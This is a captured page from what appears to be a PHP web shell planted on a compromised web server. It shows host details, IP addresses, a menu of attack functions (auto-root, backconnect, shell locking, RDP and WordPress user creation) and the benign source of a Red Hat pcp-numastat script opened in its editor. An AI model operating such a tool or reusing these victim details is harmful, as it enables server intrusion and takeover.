Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
pcp /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
discover
[ DIR ]
drwxr-xr-x
chkhelp
16.28
KB
-rwxr-xr-x
find-filter
11.86
KB
-rwxr-xr-x
install-sh
9.06
KB
-rwxr-xr-x
mkaf
2.82
KB
-rwxr-xr-x
newhelp
20.84
KB
-rwxr-xr-x
pcp-atop
300.56
KB
-rwxr-xr-x
pcp-atopsar
300.56
KB
-rwxr-xr-x
pcp-dmcache
7.13
KB
-rwxr-xr-x
pcp-dstat
70.37
KB
-rwxr-xr-x
pcp-free
9.78
KB
-rwxr-xr-x
pcp-htop
257.34
KB
-rwxr-xr-x
pcp-iostat
20.78
KB
-rwxr-xr-x
pcp-ipcs
6.82
KB
-rwxr-xr-x
pcp-lvmcache
7.13
KB
-rwxr-xr-x
pcp-mpstat
29.08
KB
-rwxr-xr-x
pcp-numastat
6.33
KB
-rwxr-xr-x
pcp-pidstat
49.64
KB
-rwxr-xr-x
pcp-python
925
B
-rwxr-xr-x
pcp-shping
3.47
KB
-rwxr-xr-x
pcp-ss
17.38
KB
-rwxr-xr-x
pcp-summary
11.21
KB
-rwxr-xr-x
pcp-tapestat
18.38
KB
-rwxr-xr-x
pcp-uptime
4.89
KB
-rwxr-xr-x
pcp-verify
7.72
KB
-rwxr-xr-x
pcp-vmstat
1.54
KB
-rwxr-xr-x
pmcd
119.19
KB
-rwxr-xr-x
pmcd_wait
12.77
KB
-rwxr-xr-x
pmconfig
12.91
KB
-rwxr-xr-x
pmcpp
24.88
KB
-rwxr-xr-x
pmfind_check
4.7
KB
-rwxr-xr-x
pmgetopt
21.68
KB
-rwxr-xr-x
pmhostname
12.23
KB
-rwxr-xr-x
pmie_check
21.05
KB
-rwxr-xr-x
pmie_daily
13.92
KB
-rwxr-xr-x
pmie_dump_stats
11.87
KB
-rwxr-xr-x
pmie_email
1.76
KB
-rwxr-xr-x
pmie_farm
896
B
-rwxr-xr-x
pmiestatus
11.83
KB
-rwxr-xr-x
pmlock
11.83
KB
-rwxr-xr-x
pmlogconf
54.48
KB
-rwxr-xr-x
pmlogextract
70.02
KB
-rwxr-xr-x
pmlogger
143.2
KB
-rwxr-xr-x
pmlogger_check
28.14
KB
-rwxr-xr-x
pmlogger_daily
43.11
KB
-rwxr-xr-x
pmlogger_farm
919
B
-rwxr-xr-x
pmlogger_merge
6.66
KB
-rwxr-xr-x
pmlogger_rewrite
8
KB
-rwxr-xr-x
pmlogreduce
33.19
KB
-rwxr-xr-x
pmlogrewrite
146.09
KB
-rwxr-xr-x
pmnewlog
810
B
-rwxr-xr-x
pmnsadd
2.89
KB
-rwxr-xr-x
pmnsdel
16.83
KB
-rwxr-xr-x
pmnsmerge
17.02
KB
-rwxr-xr-x
pmpause
12.37
KB
-rwxr-xr-x
pmpost
16.33
KB
-rwxr-xr-x
pmproxy
140.98
KB
-rwxr-xr-x
pmsignal
2.72
KB
-rwxr-xr-x
pmsleep
12.37
KB
-rwxr-xr-x
pmwtf
7.63
KB
-rwxr-xr-x
telnet-probe
11.84
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pcp-numastat
#!/usr/bin/pmpython # # Copyright (C) 2014-2018 Red Hat. # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. # # pylint: disable=bad-continuation,consider-using-enumerate # """ Display NUMA memory allocation statistucs """ import os import sys from pcp import pmapi from cpmapi import PM_TYPE_U64, PM_CONTEXT_ARCHIVE if sys.version >= '3': long = int # python2 to python3 portability (no long() in python3) xrange = range # more back-compat (xrange() is range() in python3) class NUMAStat(object): """ Gives a short summary of per-node NUMA memory information. Knows about some of the default PCP arguments - can function using remote hosts or historical data, using the timezone of the metric source, at an offset within an archive, and so on. """ def __init__(self): """ Construct object - prepare for command line handling """ self.opts = self.options() self.context = None self.width = 0 def resize(self): """ Find a suitable display width limit """ if self.width == 0: if not sys.stdout.isatty(): self.width = 1000000000 # mimic numastat(1) here else: # popen() is SAFE, command is a literal string (_, width) = os.popen('stty size', 'r').read().split() self.width = int(width) self.width = int(os.getenv('NUMASTAT_WIDTH', str(self.width))) self.width = max(self.width, 32) def option(self, opt, optarg, index): """ Perform setup for an individual command line option """ if opt == 'w': self.width = int(optarg) def options(self): """ Setup default command line argument option handling """ opts = pmapi.pmOptions() opts.pmSetOptionCallback(self.option) opts.pmSetShortOptions("w:V?") opts.pmSetLongOptionHeader("Options") opts.pmSetLongOption("width", 1, 'w', "N", "limit the display width") opts.pmSetLongOptionVersion() opts.pmSetLongOptionHelp() return opts def extract(self, descs, insts, result): """ Extract the set of metric values from a given pmResult """ values = [[]] for metrics in xrange(len(descs)): values.append([]) for nodes in xrange(len(insts)): if result.contents.get_numval(metrics) > 0: atom = self.context.pmExtractValue( result.contents.get_valfmt(metrics), result.contents.get_vlist(metrics, nodes), descs[metrics].contents.type, PM_TYPE_U64) values[metrics].append(long(atom.ull)) else: values[metrics].append(long(0)) return values def execute(self): """ Using a PMAPI context (could be either host or archive), fetch and report per-node values related to NUMA memory. """ metrics = ('mem.numa.alloc.hit', 'mem.numa.alloc.miss', 'mem.numa.alloc.foreign', 'mem.numa.alloc.interleave_hit', 'mem.numa.alloc.local_node', 'mem.numa.alloc.other_node') pmids = self.context.pmLookupName(metrics) descs = self.context.pmLookupDescs(pmids) if self.context.type == PM_CONTEXT_ARCHIVE: (insts, nodes) = self.context.pmGetInDomArchive(descs[0]) else: (insts, nodes) = self.context.pmGetInDom(descs[0]) result = self.context.pmFetch(pmids) values = self.extract(descs, insts, result) self.context.pmFreeResult(result) self.report(metrics, nodes, values) def report(self, metrics, nodes, values): """ Given per-node metric names and values, dump 'em like numastat(1) Nodes is a list of strings, values is a list of lists of values. """ columns = len(nodes) * 16 if columns == 0: print("No NUMA nodes found, exiting") sys.exit(1) self.resize() maxnodes = int((self.width - 16) / 16) if maxnodes > len(nodes): # just an initial header suffices header = '%-16s' % '' for node in nodes: header += '%16s' % node print(header) for index in xrange(len(metrics)): title = self.prefix(metrics[index]) self.metric(title, nodes, values[index], maxnodes) def metric(self, prefix, nodes, values, maxnodes): """ Given one metric and its per-node values, produce one or more lines of output with the values, each line node-name prefixed and with a new node header for each. """ done = 0 while done < len(nodes): header = '%-16s' % '' window = '%-16s' % prefix for index in xrange(maxnodes): current = done + index if current >= len(nodes): break header += '%16s' % (nodes[current]) window += '%16d' % (values[current]) if done > maxnodes or maxnodes <= len(nodes): print('%s\n%s' % (header, window)) else: print('%s' % window) done += maxnodes def prefix(self, metric): """ Transform the PCP metric names into the reported sub-headings """ title = metric[15:] if '_' not in title: title = 'numa_' + title return title def connect(self): """ Establish a PMAPI context to archive, host or local, via args """ self.context = pmapi.pmContext.fromOptions(self.opts, sys.argv) if __name__ == '__main__': try: NUMASTAT = NUMAStat() NUMASTAT.connect() NUMASTAT.execute() except pmapi.pmErr as error: print("%s: %s" % (error.progname(), error.message())) except pmapi.pmUsageErr as usage: usage.message() except KeyboardInterrupt: pass
Close